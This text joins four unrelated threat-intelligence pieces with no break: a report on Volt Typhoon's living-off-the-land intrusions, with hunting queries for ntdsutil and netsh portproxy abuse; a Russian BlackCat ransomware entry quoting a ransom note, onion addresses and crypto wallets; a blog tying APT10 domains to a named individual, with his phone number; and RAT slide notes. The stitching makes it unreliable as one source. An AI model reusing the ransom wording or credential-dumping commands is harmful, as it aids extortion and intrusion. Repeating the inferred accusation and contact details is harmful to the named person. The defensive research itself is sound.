# Volt Typhoon Targets US Critical Infrastructure with Living-off-the-Land Techniques Microsoft has uncovered stealthy and targeted malicious activity focused on post-compromise credential access and network system discovery aimed at critical infrastructure organizations in the United States. The attack is carried out by Volt Typhoon, a state-sponsored actor based in China that typically focuses on espionage and information gathering. Microsoft assesses with moderate confidence that this Volt Typhoon campaign is pursuing development of capabilities that could disrupt critical communications infrastructure between the United States and Asia region during future crises. Volt Typhoon has been active since mid-2021 and has targeted critical infrastructure organizations in Guam and elsewhere in the United States. In this campaign, the affected organizations span the communications, manufacturing, utility, transportation, construction, maritime, government, information technology, and education sectors. Observed behavior suggests that the threat actor intends to perform espionage and maintain access without being detected for as long as possible. Microsoft is choosing to highlight this Volt Typhoon activity at this time because of our significant concern around the potential for further impact to our customers. Although our visibility into these threats has given us the ability to deploy detections to our customers, the lack of visibility into other parts of the actor’s activity compelled us to drive broader community awareness and further investigations and protections across the security ecosystem. To achieve their objective, the threat actor puts strong emphasis on stealth in this campaign, relying almost exclusively on living-off-the-land techniques and hands-on-keyboard activity. They issue commands via the command line to (1) collect data, including credentials from local and network systems, (2) put the data into an archive file to stage it for exfiltration, and then (3) use the stolen valid credentials to maintain persistence. In addition, Volt Typhoon tries to blend into normal network activity by routing traffic through compromised small office and home office (SOHO) network equipment, including routers, firewalls, and VPN hardware. They have also been observed using custom versions of open-source tools to establish a command and control (C2) channel over proxy to further stay under the radar. In this blog post, we share information on Volt Typhoon, their campaign targeting critical infrastructure providers, and their tactics for achieving and maintaining unauthorized access to target networks. Because this activity relies on valid accounts and living-off-the-land binaries (LOLBins), detecting and mitigating this attack could be challenging. Compromised accounts must be closed or changed. At the end of this blog post, we share more mitigation steps and best practices, as well as provide details on how Microsoft 365 Defender detects malicious and suspicious activity to protect organizations from such stealthy attacks. The National Security Agency (NSA) has also published a Cybersecurity Advisory which contains a hunting guide for the tactics, techniques, and procedures (TTPs) discussed in this blog. As with any observed nation-state actor activity, Microsoft has directly notified targeted or compromised customers, providing them with important information needed to secure their environments. ## Initial Access Volt Typhoon achieves initial access to targeted organizations through internet-facing Fortinet FortiGuard devices. Microsoft continues to investigate Volt Typhoon’s methods for gaining access to these devices. The threat actor attempts to leverage any privileges afforded by the Fortinet device, extracts credentials to an Active Directory account used by the device, and then attempts to authenticate to other devices on the network with those credentials. Volt Typhoon proxies all its network traffic to its targets through compromised SOHO network edge devices (including routers). Microsoft has confirmed that many of the devices, which include those manufactured by ASUS, Cisco, D-Link, NETGEAR, and Zyxel, allow the owner to expose HTTP or SSH management interfaces to the internet. Owners of network edge devices should ensure that management interfaces are not exposed to the public internet in order to reduce their attack surface. By proxying through these devices, Volt Typhoon enhances the stealth of their operations and lowers overhead costs for acquiring infrastructure. ## Post-Compromise Activity Once Volt Typhoon gains access to a target environment, they begin conducting hands-on-keyboard activity via the command line. Some of these commands appear to be exploratory or experimental, as the operators adjust and repeat them multiple times. Volt Typhoon rarely uses malware in their post-compromise activity. Instead, they rely on living-off-the-land commands to find information on the system, discover additional devices on the network, and exfiltrate data. We describe their activities in the following sections, including the most impactful actions that relate to credential access. ### Credential Access If the account that Volt Typhoon compromises from the Fortinet device has privileged access, they use that account to perform the following credential access activities. Microsoft has observed Volt Typhoon attempting to dump credentials through the Local Security Authority Subsystem Service (LSASS). The LSASS process memory space contains hashes for the current user’s operating system (OS) credentials. Volt Typhoon also frequently attempts to use the command-line tool Ntdsutil.exe to create installation media from domain controllers, either remotely or locally. These media are intended to be used in the installation of new domain controllers. The files in the installation media contain usernames and password hashes that the threat actors can crack offline, giving them valid domain account credentials that they could use to regain access to a compromised organization if they lose access. ### Discovery Microsoft has observed Volt Typhoon discovering system information, including file system types; drive names, size, and free space; running processes; and open networks. They also attempt to discover other systems on the compromised network using PowerShell, Windows Management Instrumentation Command-line (WMIC), and the ping command. In a small number of cases, the threat actors run system checks to determine if they are operating within a virtualized environment. ### Collection In addition to operating system and domain credentials, Volt Typhoon dumps information from local web browser applications. Microsoft has also observed the threat actors staging collected data in password-protected archives. ### Command and Control In most cases, Volt Typhoon accesses compromised systems by signing in with valid credentials, the same way authorized users do. However, in a small number of cases, Microsoft has observed Volt Typhoon operators creating proxies on compromised systems to facilitate access. They accomplish this with the built-in netsh portproxy command. In rare cases, they also use custom versions of open-source tools Impacket and Fast Reverse Proxy (FRP) to establish a C2 channel over proxy. Compromised organizations will observe C2 access in the form of successful sign-ins from unusual IP addresses. The same user account used for these sign-ins may be linked to command-line activity conducting further credential access. Microsoft will continue to monitor Volt Typhoon and track changes in their activity and tooling. ## Mitigation and Protection Guidance Mitigating risk from adversaries like Volt Typhoon that rely on valid accounts and living-off-the-land binaries (LOLBins) is particularly challenging. Detecting activity that uses normal sign-in channels and system binaries requires behavioral monitoring. Remediation requires closing or changing credentials for compromised accounts. Suspected compromised accounts or affected systems should be investigated: - Identify LSASS dumping and domain controller installation media creation to identify affected accounts. - Examine the activity of compromised accounts for any malicious actions or exposed data. - Close or change credentials for all compromised accounts. Depending on the level of collection activity, many accounts may be affected. ### Defending Against This Campaign - Mitigate the risk of compromised valid accounts by enforcing strong multi-factor authentication (MFA) policies using hardware security keys or Microsoft Authenticator. Passwordless sign-in, password expiration rules, and deactivating unused accounts can also help mitigate risk from this access method. - Reduce the attack surface. Microsoft customers can turn on the following attack surface reduction rules to block or audit some observed activity associated with this threat: - Block credential stealing from the Windows local security authority subsystem (lsass.exe). - Block process creations originating from PSExec and WMI commands. Some organizations may experience compatibility issues with this rule on certain server systems but should deploy it to other systems to prevent lateral movement originating from PsExec and WMI. - Block execution of potentially obfuscated scripts. - Harden the LSASS process by enabling Protective Process Light (PPL) for LSASS on Windows 11 devices. New, enterprise-joined Windows 11 (22H2 update) installs have this feature enabled by default. In addition, enable Windows Defender Credential Guard, which is also turned on by default for organizations using the Enterprise edition of Windows 11. - Turn on cloud-delivered protection in Microsoft Defender Antivirus to cover rapidly evolving attacker tools, techniques, and behaviors such as those exhibited by Volt Typhoon. - Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat, or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-compromise. ## Detection Details and Hunting Queries ### Microsoft Defender Antivirus Microsoft Defender Antivirus detects attempted post-compromise activity. Note, however, that these alerts can also be triggered by threat activity unrelated to Volt Typhoon. Turn on cloud-delivered protection to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block most new and unknown threats. - Behavior:Win32/SuspNtdsUtilUsage.A - Behavior:Win32/SuspPowershellExec.E - Behavior:Win32/SuspRemoteCmdCommandParent.A - Behavior:Win32/UNCFilePathOperation - Behavior:Win32/VSSAmsiCaller.A - Behavior:Win32/WinrsCommand.A - Behavior:Win32/WmiSuspProcExec.J!se - Behavior:Win32/WmicRemote.A - Behavior:Win32/WmiprvseRemoteProc.B ### Microsoft Defender for Endpoint Microsoft Defender for Endpoint alerts with the following titles can indicate possible presence of Volt Typhoon activity. - Volt Typhoon threat actor detected The following alerts may also be associated with Volt Typhoon activity. Note, however, that these alerts can also be triggered by threat activity unrelated to Volt Typhoon. - A machine was configured to forward traffic to a non-local address - Ntdsutil collecting Active Directory information - Password hashes dumped from LSASS memory - Suspicious use of wmic.exe to execute code - Impacket toolkit ### Hunting Queries Volt Typhoon’s post-compromise activity usually includes distinctive commands. Searching for these can help to determine the scope and impact of an incident. **Find commands creating domain controller installation media** This query can identify domain controller installation media creation commands similar to those used by Volt Typhoon. ``` DeviceProcessEvents | where ProcessCommandLine has_all ("ntdsutil", "create full", "pro") ``` **Find commands establishing internal proxies** This query can identify commands that establish internal proxies similar to those used by Volt Typhoon. ``` DeviceProcessEvents | where ProcessCommandLine has_all ("portproxy", "netsh", "wmic", "process call create", "v4tov4") ``` **Find detections of custom FRP executables** This query can identify alerts on files that match the SHA-256 hashes of known Volt Typhoon custom FRP binaries. ``` AlertEvidence | where SHA256 in ('baeffeb5fdef2f42a752c65c2d2a52e84fb57efc906d981f89dd518c314e231c', 'b4f7c5e3f14fb57be8b5f020377b993618b6e3532a4e1eb1eae9976d4130cc74', '4b0c4170601d6e922cf23b1caf096bba2fade3dfcf92f0ab895a5f0b9a310349', 'c0fc29a52ec3202f71f6378d9f7f9a8a3a10eb19acb8765152d758aded98c76d', 'd6ab36cb58c6c8c3527e788fc9239d8dcc97468b6999cf9ccd8a815c8b4a80af', '9dd101caee49c692e5df193b236f8d52a07a2030eed9bd858ed3aaccb406401a', '450437d49a7e5530c6fb04df2e56c3ab1553ada3712fab02bd1eeb1f1adbc267', '93ce3b6d2a18829c0212542751b309dacbdc8c1d950611efe2319aa715f3a066', '7939f67375e6b14dfa45ec70356e91823d12f28bbd84278992b99e0d2c12ace5', '389a497f27e1dd7484325e8e02bbdf656d53d5cf2601514e9b8d8974befddf61', 'c4b185dbca490a7f93bc96eefb9a597684fdf532d5a04aa4d9b4d4b1552c283b', 'e453e6efc5a002709057d8648dbe9998a49b9a12291dee390bb61c98a58b6e95', '6036390a2c81301a23c9452288e39cb34e577483d121711b6ba6230b29a3c9ff', 'cd69e8a25a07318b153e01bba74a1ae60f8fc28eb3d56078f448461400baa984', '17506c2246551d401c43726bdaec800f8d41595d01311cf38a19140ad32da2f4', '8fa3e8fdbaa6ab5a9c44720de4514f19182adc0c9c6001c19cf159b79c0ae9c2', 'd17317e1d5716b09cee904b8463a203dc6900d78ee2053276cc948e4f41c8295', '472ccfb865c81704562ea95870f60c08ef00bcd2ca1d7f09352398c05be5d05d', '3e9fc13fab3f8d8120bd01604ee50ff65a40121955a4150a6d2c007d34807642') ``` ## Indicators of Compromise (IOCs) The below list provides IOCs observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protection to identify past related activity and prevent future attacks against their systems. **Volt Typhoon custom FRP executable (SHA-256):** - baeffeb5fdef2f42a752c65c2d2a52e84fb57efc906d981f89dd518c314e231c - b4f7c5e3f14fb57be8b5f020377b993618b6e3532a4e1eb1eae9976d4130cc74 - 4b0c4170601d6e922cf23b1caf096bba2fade3dfcf92f0ab895a5f0b9a310349 - c0fc29a52ec3202f71f6378d9f7f9a8a3a10eb19acb8765152d758aded98c76d - d6ab36cb58c6c8c3527e788fc9239d8dcc97468b6999cf9ccd8a815c8b4a80af - 9dd101caee49c692e5df193b236f8d52a07a2030eed9bd858ed3aaccb406401a - 450437d49a7e5530c6fb04df2e56c3ab1553ada3712fab02bd1eeb1f1adbc267 - 93ce3b6d2a18829c0212542751b309dacbdc8c1d950611efe2319aa715f3a066 - 7939f67375e6b14dfa45ec70356e91823d12f28bbd84278992b99e0d2c12ace5 - 389a497f27e1dd7484325e8e02bbdf656d53d5cf2601514e9b8d8974befddf61 - c4b185dbca490a7f93bc96eefb9a597684fdf532d5a04aa4d9b4d4b1552c283b - e453e6efc5a002709057d8648dbe9998a49b9a12291dee390bb61c98a58b6e95 - 6036390a2c81301a23c9452288e39cb34e577483d121711b6ba6230b29a3c9ff - cd69e8a25a07318b153e01bba74a1ae60f8fc28eb3d56078f448461400baa984 - 17506c2246551d401c43726bdaec800f8d41595d01311cf38a19140ad32da2f4 - 8fa3e8fdbaa6ab5a9c44720de4514f19182adc0c9c6001c19cf159b79c0ae9c2 - d17317e1d5716b09cee904b8463a203dc6900d78ee2053276cc948e4f41c8295 - 472ccfb865c81704562ea95870f60c08ef00bcd2ca1d7f09352398c05be5d05d - 3e9fc13fab3f8d8120bd01604ee50ff65a40121955a4150a6d2c007d34807642
# BlackCat Ransomware ## ALPHV Ransomware **Aliases:** ALPHV-ng, Noberus Этот крипто-вымогатель шифрует данные бизнес-пользователей и корпоративных сетей с помощью комбинации алгоритмов AES-128 (режим CTR) и RSA-2048, а затем требует крупный выкуп в BTC или Monero, чтобы вернуть файлы. Вместо AES может использовать алгоритм ChaCha20. Глобальный открытый ключ, используемый для шифрования локальных ключей, извлекается из файла конфигурации. Оригинальное название: ALPHV-ng RaaS. Используется язык программирования Rust. Может шифровать данные в системах Windows, Linux и VMWare eSXI. --- **Обнаружения:** - DrWeb -> Trojan.Ransom.814 - ALYac -> Trojan.Ransom.BlackCat - BitDefender -> Trojan.GenericKD.38153014 - ESET-NOD32 -> Win32/Filecoder.OJP - Kaspersky -> UDS:Trojan.Win32.Agentb.a, HEUR:Trojan-Ransom.Win32.BlackCat.gen - Lionic -> Trojan.Win32.BlackCat.j!c - Malwarebytes -> Malware.AI.2115381737, Ransom.FileCryptor - Microsoft -> Trojan:Win32/Woreflint.A!cl - Rising -> Ransom.Blackcat!1.DB0B (CLASSIC) - Symantec -> Ransom.Noberus - Tencent -> Win32.Trojan.Filecoder.Lqor - TrendMicro -> TROJ_GEN.R002H09L321, TROJ_FRS.VSNTLA21, Ransom.Win32.BLACKCAT.YXBLMA --- **Этимология названия:** В слове ALPHV, без сомнения, скрыто слово ALPHA (альфа). Так вымогатели могли завуалировать первую версию своей вредоносной программы или под ним завуалирован имя (ник) разработчика программы-вымогателя или представителя группы вымогателей. ALPHV-ng - это дальнейшее развитие программы, где ng - Next Generation (англ. следующее поколение). Для русскоязычного пользователя слово BlackCat ("Чёрный кот" или "Чёрная кошка") и картинка в объяснении не нуждаются. Сайт "ID Ransomware" идентифицирует это как BlackCat (ALPHV). **Информация для идентификации:** Активность этого крипто-вымогателя была замечена в середине ноября и во второй половине ноября 2021 г. Тогда использовался более ранний вариант, созданный в начале ноября 2021. Ориентирован на англоязычных пользователей, может распространяться по всему миру. На сайте утечек названо более 20 организаций из различных секторов и стран, среди них: Австралия, Франция, Германия, Италия, Нидерланды, Филиппины, Испания, Великобритания, США, Багамские острова. К зашифрованным файлам добавляется настраиваемое семизначное буквенно-цифровое расширение файла. Например, в одном из примеров было расширение: .sykffle. Записка с требованием выкупа называется в этом примере: RECOVER-sykffle-FILES.txt. **Содержание записки о выкупе:** > **Introduction** > Important files on your system was ENCRYPTED and now they have "sykffle" extension. > In order to recover your files you need to follow instructions below. > **Sensitive Data** > Sensitive data on your system was downloaded and it will be published if you refuse to cooperate. > Data includes: > - Employees personal data, CVs, DL, SSN. > - Complete network map including credentials for local and remote services. > - Financial information including clients data, bills, budgets, annual reports, bank statements. > - Complete datagrams/schemas/drawings for manufacturing in solidworks format. > - And more... > Private preview is published here: hxxx://zujgzbu5y64xbmvc42addp4lxkoosb4tslf5mehnh7pvqjpwxn5gokyd.onion/*** > **CAUTION** > DO NOT MODIFY FILES YOURSELF. > DO NOT USE THIRD PARTY SOFTWARE TO RESTORE YOUR DATA. > YOU MAY DAMAGE YOUR FILES, IT WILL RESULT IN PERMANENT DATA LOSS. > YOUR DATA IS STRONGLY ENCRYPTED, YOU CAN NOT DECRYPT IT WITHOUT CIPHER KEY. > **Recovery procedure** > Follow these simple steps to get in touch and recover your data: > 1) Download and install Tor Browser from: https://torprojoject.org > 2) Navigate to: hxxx://mu75ltv3lxd24dbyu6gtvmnwybecigs5auki7fces437xvvflzva2nqd.onion/?access-key=*** **Перевод записки на русский язык:** > **Введение** > Важные файлы в вашей системе были зашифрованы и теперь имеют расширение "sykffle". > Чтобы восстановить ваши файлы, вам надо следовать инструкциям ниже. > **Конфиденциальные данные** > Конфиденциальные данные из вашей системы были скачаны и будут опубликованы, если вы откажетесь от сотрудничества. > Данные включают: > - Персональные данные сотрудников, резюме, DL, SSN. > - Полная карта сети, включая учетные данные для локальных и удаленных служб. > - Финансовая информация, включая данные клиентов, счета, бюджеты, годовые отчеты, банковские выписки. > - Полные датаграммы / схемы / чертежи для производства в формате solidworks. > - И больше... > Приватный превью опубликован здесь: http://***.onion/*** > **ОСТОРОЖНО** > НЕ ИЗМЕНЯЙТЕ ФАЙЛЫ САМОСТОЯТЕЛЬНО. > НЕ ИСПОЛЬЗУЙТЕ ПРОГРАММЫ ТРЕТЬИХ СТОРОН ДЛЯ ВОССТАНОВЛЕНИЯ ДАННЫХ. > ВЫ МОЖЕТЕ ПОВРЕДИТЬ СВОИ ФАЙЛЫ, ЭТО ПРИВЕДЕТ К ПОСТОЯННОЙ УТЕЧКЕ ДАННЫХ. > ВАШИ ДАННЫЕ НАДЕЖНО ЗАШИФРОВАНЫ, ВЫ НЕ МОЖЕТЕ РАСШИФРОВАТЬ ИХ БЕЗ КЛЮЧА ШИФРОВАНИЯ. > **Процедура восстановления** > Выполните следующие простые шаги, чтобы связаться и восстановить свои данные: > 1) Загрузите и установите Tor Browser с сайта: https://torprojoject.org > 2) Перейдите по адресу: http://***.onion/?access-key=*** **Технические детали + IOC:** Рекламируется с начала декабря 2021 на двух подпольных русскоязычных форумах киберандеграунда (XSS и Exploit). Приглашаются пентестеры, операторы и участники других вымогательских проектов. Аффилированным партнерам обещается доход в размере от 80% до 90% от полученного выкупа. Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. Нужно всегда использовать актуальную антивирусную защиту! Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1. - Во время проведения атаки ALPHV используется PowerShell для изменения параметров безопасности Защитника Windows во всей сети жертвы, а также запускается двоичный файл программы-вымогателя, интерактивный процесс, на нескольких хостах с помощью PsExec. - Удаляет теневые копии файлов и моментальные снимки ESXi для предотвращения восстановления. - Использует команду для сбора универсальных уникальных идентификаторов (UUID) с зараженных машин. Затем UUID и параметр "токен доступа" используются для генерации «ACCESS_KEY». - Используется CryptGenRandom для генерации ключей шифрования. **Детали шифрования:** В автоматическом режиме BlackCat проверяет наличие аппаратной поддержки алгоритма AES (есть во всех современных процессорах) и использует её. Если нет поддержки AES, то BlackCat шифрует файлы с помощью алгоритма ChaCha20. **Список типов файлов, подвергающихся шифрованию:** Почти все типы файлов, кроме тех, что находятся в списках исключений. Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр. **Список пропускаемых расширений:** .386, .adv, .ani, .bat, .bin, .cab, .cmd, .com, .cpl, .cur, .deskthemepacJc, .diagcab, .diagcfg, .diagpkg, .dll, .drv, .exe, .hip, .hta, .icl, .ico, .ics, .idx, .iens, .key, .ldf, .lnk, .lock, .mod, .mpa, .msc, .msi, .msp, .msstyles, .msu, .nls, .nomedia, .ocx, .pdb, .prf, .psl, .rom, .rtp, .scr, .shs, .spl, .sys, .theme, .themepack, .wpx (50 расширений). **Список завершаемых процессов и служб:** agntsvc, backup, dbeng50, dbsnmp, encsvc, excel, firefox, infopath, isqlplussvc, memtas, mepocs, msaccess, msexchange, mspub, mydesktopqos, mydesktopservice, notepad, ocautoupds, ocomm, ocssd, onenote, oracle, outlook, powerpnt, sqbcoreservice, sql*, sql, sql, steam, svc$, synctime, tbirdconfig, thebat, thunderbird, veeam, visio, vss, winword, wordpad, xfssvccon. **Список пропускаемых директорий:** All users, Appdata, Application data, Boot, Config.msi, Default, Google, Intel, Mozilla, Msocache, Perflogs, Program files (x86), Program files, ProgramData, Public, Recycle.bin, System volume information, Tor browser, Windows.~ws, Windows, Windows.~bt, Windows.old. **Список пропускаемых файлов:** autorun.inf, boot.ini, bootfont.bin, bootsect.bak, desktop.ini, iconcache.dbn, nthumbs.dbn, ntldr, ntuser.dat, ntuser.dat.log, ntuser.ini. **Маркер файлов:** 19 47 B7 4D в конце зашифрованного файла и перед зашифрованным ключом, который представляет собой JSON с некоторыми настройками. **Файлы, связанные с этим Ransomware:** - RECOVER-sykffle-FILES.txt - название файла с требованием выкупа; - RECOVER-sykffle-FILES.txt.png - изображение, заменяющее обои Рабочего стола; - DllHost.exe, keller.exe, 3ddxzjjjn.dll - названия вредоносного файла. **Расположения:** \Desktop\ -> \User_folders\ -> \%TEMP%\ -> C:\Users\User\AppData\Local\Temp\3d7cf20ca6476e14e0a026f9bdd8ff1f26995cdc5854c3adb41a6135ef11ba83.exe **Записи реестра, связанные с этим Ransomware:** См. ниже результаты анализов. **Мьютексы:** См. ниже результаты анализов. **Сетевые подключения и связи:** Tor-URL (примеры): hxxx://zujgzbu5y64xbmvc42addp4lxkoosb4tslf5mehnh7pvqjpwxn5gokyd.onion/b21*** hxxx://mu75ltv3lxd24dbyu6gtvmnwybecigs5auki7fces437xvvflzva2nqd.onion/*** Для каждой новой атакованной компании создается новый onion-домен. **Email:** - **BTC:** - См. ниже в обновлениях другие адреса и контакты. **Результаты анализов:** - MD5: aea5d3cced6725f37e2c3797735e6467 - SHA-1: 087497940a41d96e4e907b6dc92f75f4a38d861a - SHA-256: 3d7cf20ca6476e14e0a026f9bdd8ff1f26995cdc5854c3adb41a6135ef11ba83 - Vhash: 0260876d15755c0d5d1d10c8z73210301hz15zf7z - Imphash: 2c3e267ae163c15bfc251e74ea5319b2 Некоторые другие образцы можно найти на сайте BA: https://bazaar.abuse.ch/browse/tag/blackcat/ **Степень распространённости:** высокая. Информация дополняется. Присылайте образцы. --- ### ИСТОРИЯ СЕМЬИ Три года назад и ещё раз не так давно мы уже видели, как кто-то использовал название BlackCat Ransomware. Но тогда это активно не распространялось или проходило тестирование, поэтому не попало в наш Дайджест. На момент написания статьи никто не доказал и не опроверг связь сегодняшнего BlackCat Ransomware с предыдущими. ### БЛОК ОБНОВЛЕНИЙ **Вариант от 30 декабря 2021:** Расширение: .jkkcgdp Записка: RECOVER-jkkcgdp-FILES.txt **Новость от 4 февраля 2022:** Краткое содержание интервью, данное аналитику Recorded Future Дмитрию Смилянцу представителем группы вымогателей из BlackCat (ALPHV). ALPHV: Наше единственное имя - ALPHV. BlackCat был изобретен компанией The Record, а BC.a Noberus — компанией Symantec. --- **Уточнение:** Название BlackCat впервые использовано исследователем MalwareHunterTeam в Твиттере и сразу же опубликовано здесь, в Дайджесте, в этой статье. Все остальные публикации вторичны. --- ALPHV: ...Нет никакого ребрендинга или смешения талантов, потому что мы не имеем прямого отношения к партнерским программам GandCrab/REvil, BlackMatter/DarkSide, Maze/Egregor, Lockbit и прочим. Мы позаимствовали их достоинства и устранили их недостатки. ...Мы без преувеличения считаем, что на данный момент на рынке нет конкурентоспособного нам программного обеспечения. Помимо качественного софта, для продвинутых партнеров мы предоставляем полный спектр услуг, связанных с выкупом — метавселенную или премиум-обслуживание. Мы в другой весовой категории, поэтому никого не признаем и не будем делать вымогательские дома TikTok. ...Мы абсолютно не заинтересованы ни в каком сотрудничестве, расширении или взаимодействии с другими филиалами и работаем только с русскоязычными партнерами. Недавно была первая чистка, скоро будет вторая и мы закроемся. Географически расширяться не планируем, но обязательно добавим китайский язык после арабского... :) ...Язык программирования RUST выбран как современный кроссплатформенный ЯП низкого уровня. В консольной команде имя проекта alphv-N(ext)G(eneration). Мы сделали действительно новый продукт, с новым внешним видом и подходом, отвечающим современным требованиям как к RaaS-решению, так и к высококлассному коммерческому ПО. ...Мы не нападаем на госмедучреждения, машины скорой помощи, больницы. Это правило не распространяется на фармацевтические компании, частные клиники. ...Наша главная цель — создать собственную метавселенную RaaS, включающую в себя весь спектр услуг, связанных с нашим бизнесом. **Новость от 5 февраля 2022:** BleepingComputer сообщает, что некоторые специалисты выявили совпадения в действиях предыдущих вымогателей BlackMatter/DarkSide и BlackCat/ALPHV. **Вариант от 11 марта 2022:** Расширение: .yicrlka Записка: RECOVER-yicrlka-FILES.txt Bitcoin: 1H3JFbyiwv6YeVW7K2mVjxHgNvJdXqJxiP Monero: 46JqTG57Pv6GBRzjM9kHyCF8XHrAo9sr8dLuvqwcGbxT92dUAW12QpgZJnu32KrTfL1BzLp2sBi9G49JyXuRaKmT6JrJL9r **Вариант от 15 марта 2022:** Файл: alpha.exe Результаты анализов: VT --- **БЛОК ССЫЛОК и СПАСИБОК** Спасибо: MalwareHunterTeam, SAJID HASSAN Andrew Ivanov (article author) Авторам новых исследований Жертвам, которые прислали образцы
# Who is Mr An, and was he working for APT10? On August 15th, 2018, this blog revealed a connection between APT10 and the Tianjin bureau of the Chinese Ministry of State Security (MSS). Analysts working with this blog have continued to investigate every lead provided to us. One such lead has helped us to identify another individual in China connected to APT10. The trail starts with a domain name first published in FireEye’s Poison Ivy Report as a MenuPass (APT10) affiliated domain: **chromeenter.com**. The domain chromeenter.com appears in the FireEye report as a domain associated with the MenuPass malware. The domain and subdomains also appeared in early versions of Annex A (Indicators of Compromise) of the PwC Operation Cloud Hopper report and it is listed on Alien Vault as a sink-holed domain. Domain registration information for chromeenter.com shows that it was registered in April 2010 to Hogate Technology Co Limited. Although much of the registration information remained the same when the domain was updated in April 2012, the registrant company was changed to Tianjin Tiaoyiye Technology Co Limited and the registration e-mail address was updated to [email protected]. The domain became WHOIS protected in late June 2013 just prior to being repossessed by GoDaddy and named in the FireEye report. The registration e-mail address used from 2012 leads to a number of other domains, many of which are connected to Tianjin, China, the home of APT10. Domains registered by [email protected] include: - jiaxiaotuangou.com - shgongxingbc.com - tjguge.com - tjqiming.com - tjttjx.com - web1680.com - w1680.com The domain jiaxiaotuangou.com was registered to an individual named An Zhiqiang and was also associated with the Tianjin Tiaoyiye Technology Development Co Ltd (天津天骄易业科技发展有限公司) in registration data. Chinese characters for the company were identified at hhlyny.com and give a slightly different name of Tianjin Tianjiaoyiye Technology Development Co Ltd. The company entry on Zhaopin (a Chinese online recruitment services website) provides additional data related to the company including a link to the company website at tjwangdian.com. The Zhaopin entry also provides a summary of the business activities of the company that translates roughly as: *Tianjiao Network is an e-commerce website construction company with rich experience, professional technology and excellent team. The company focuses on e-commerce website development and network operations, including: e-commerce website construction, B2C website construction, independent online shop construction, mall website construction, industry website construction, portal construction, brand website construction and post-maintenance. From pre-market research, website positioning, website construction and implementation, network promotion, website operation, and even later online customer service and customer relationship management, we have experienced planning team, professional website design team and dedicated customers. The service team consistently adheres to the spirit of “no best, only better!” to create a real profit platform for the company, strengthen the competitiveness of the company, and obtain greater success value!* Finally, the entry for Tianjin Tiaoyiye on Liepin (China’s largest recruitment website) provides Chinese characters for An Zhiqiang (安志强). Armed with a name (安志强), a handle (gbaike), a location (Tianjin) and a company (天津天骄易业科技发展有限公司), a number of new sources of material on the individual can be discovered, including Twitter account @gbaike. The account is in the name 安志强, bears the handle @gbaike and has its location set as Tianjin. The account also refers to marketing in its profile image – this matches the description of the company from Zhaopin. The final link to a specific individual in Tianjin comes from the domain web1680.com which was identified above as registered by [email protected]. The website’s contact us page contains the phone number 15102292183. This same phone number is listed on a different website, tjmeta.com, that lists An Zhiqiang (安志强) as an instructor in internet marketing with a specialism in WeChat marketing. The bullet points on the right-hand side of the screenshot from tjmeta.com match those used in @gbaike’s Twitter cover image above. The photo appears to be that of a well-known web marketing expert from Tianjin, China. In summary, An Zhiqiang (安志强) and company Tianjin Tianjiaoyiye Technology Co Ltd (天津天骄易业科技发展有限公司) are both connected to APT10 activity through domains used for APT10 / MenuPass activity prior to FireEye’s 2013 Poison Ivy report.
# The Secret Life of RATs: Connecting the Dots by Dissecting Multiple Backdoors ## Authors **Kawakami Ryonosuke, Nakajima Shota** Cyber Defense Institute, Inc. **Hara Hiroaki** Trend Micro ### Who Am I - **Kawakami Ryonosuke** - Engaged in malware analysis, incident response work, and threat research at Cyber Defense Institute, Inc. - Presented at JSAC 2018-2024, domestic and international conferences. - Conducted workshops at Security Camp and JSAC. - **Shota Nakajima** - Engaged in malware analysis, incident response work, and threat research at Cyber Defense Institute, Inc. - Hobby/Interest: Reverse Engineering and Implementing attacking techniques. - This is his first appearance at JSAC. - **Hara Hiroaki** - Focuses on threat intelligence research in the Asia Pacific region at Trend Micro Inc. - Specializes in threat hunting, incident response, malware analysis, and targeted attack research. - Presented at JSAC 2021/2022 and HITCON 2022. ## Three Possible Related Incidents (Actors) - **GroundPeony** - Targets: Taiwan, Hong Kong, Korea, Nepal, India - Victims: Government agencies, educational and research institutions, telecommunications carriers - **RatelS** - APT for organizations in Japan - **Earth Estries (FamousSparrow)** - Targets: Philippines, Taiwan, Malaysia, South Africa, Germany, and the USA - Victims: Government agencies and technology industry organizations. ## Overview ### 1st Stage - **micDown** (GroundPeony) - Decrypt by RC4 with hardcoded key - **Mofu Loader** (RatelS) - Decrypt by Custom Algorithm - **HemiGate** (Earth Estries) - Decrypt by RC4 with key embedded in encrypted payload ### Payloads - **micDown** - Created in `ProgramData¥mic¥mic.exe` - Side-loads `version.dll` which decrypts and reads `mic.doc` - `mic.doc` contains encoded Mofu Loader - **HemiGate** - Created in `ProgramData¥WinDrive¥taskhask.exe` - Side-loads `K7AVWScn.dll` which decrypts and reads `taskhask.doc` - `taskhask.doc` contains encrypted Dracu Loader - **RatelS** - Uses `msbtc.exe` for side-loading - Side-loads `VERSION.dll` which decrypts `msbtc.dat` - `msbtc.dat` contains encoded Mofu Loader ## DLL Side-Loading - Both GroundPeony and RatelS use the same legitimate application but different hashes. - Both implement decryption routine in `VerQueryValueW`. ### Comparison - **GroundPeony vs Ratel Master** - 1st Stage: Same legitimate application used for DLL Side-Loading - 2nd Stage: Shellcode using the same algorithm to decrypt the payload ## Payload Analysis - **HemiGate vs RatelS** - 1st Stage: No similarities in codes, but similar techniques - 2nd Stage: Different in-memory PE Loader (Dracu Loader vs Mofu Loader) - Payload: Similarities at the implementation level, such as code and configurations. ## Other Findings - HemiGate and PlugX were confirmed to be hosted on the same server. - Investigation of Mofu Loader on VT confirms that an account has uploaded multiple Mofu Loaders from CN and HK. ## Summary ### Relationships Between Actors - GroundPeony and Ratel Master shared Mofu Loader. - Earth Estries and GroundPeony shared C2. - RatelS and HemiGate have similar malware implementations. - HemiGate and SlyMongo with C2 for testing were submitted from the same VT account. ## Timeline - **GroundPeony**: Loader of HemiGate compile time - **Earth Estries**: RatelS Builder compile time - **SlyMongo**: Spear phishing email 